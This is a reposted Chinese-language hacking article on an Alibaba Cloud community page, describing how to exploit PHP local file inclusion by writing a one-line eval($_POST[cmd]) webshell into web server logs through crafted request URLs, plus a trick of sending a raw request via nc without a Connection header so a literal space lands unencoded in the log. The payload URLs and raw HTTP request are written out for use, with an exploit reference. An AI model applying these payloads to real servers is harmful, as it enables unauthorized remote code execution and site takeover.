邪惡的空格-PHP本地檔案包含漏洞的新突破口!

來源:互聯網
上載者:User
http://www.exp.com/index<?/**/eval($_POST[cmd]);/**/?>.php

這樣的GET請求,將一句話木馬寫入web日誌,然後利用檔案包含漏洞包含日誌得到WEBSHELL,如milw0rm上的這個EXP:

http://www.milw0rm.com/exploits/4029

不過很遺憾,這類情況只能在short_open_tag=on的情況下才能有效,當short_open_tag=off時,PHP將不支援<?/**/eval($_POST[cmd]);/**/?>這樣的短語句.

所以我們只能使用<?php eval($_POST[cmd]);?>這樣標準文法的一句話木馬,但是問題來鳥,語句中有一個空格,類似

http://www.exp.com/index<?php eval($_POST[cmd]);?>.php

這樣的提交,WEB伺服器將會把空格做HTTP編碼轉成%20寫入web日誌,如果PHP包含<?php%20eval($_POST[cmd]);?>這樣的語句肯定是不會成功的,所以我們必須把空格真正的寫入WEB日誌.

哈,上面說的牛牛可以略過,下面開始切入正題,我們知道一般情況下,一旦Web伺服器向瀏覽器發送了請求資料,肯定會返迴響應,這裡我發現了WEB伺服器一個奇怪的特性,就是如果沒有返迴響應而WEB伺服器又接受了請求,那麼請求的內容將原封不動的寫入WEB日誌,不會進行HTTP編碼.

這樣我們想個辦法一直與WEB伺服器保持TCP串連,不讓WEB伺服器處理響應返回,然後再由用戶端的我們中斷這次TCP串連,說得這麼複雜其實很容易實現.只要在HTTP請求的資料包中去掉Connection HTTP標題值。

利用NC偽造沒有Connection HTTP標題的請求包:

GET /index< >.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 192.168.3.44

你會發現WEB伺服器一直不會返迴響應,直到我們用戶端斷開這次串連,這個邪惡的空格便寫入了WEB日誌!

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.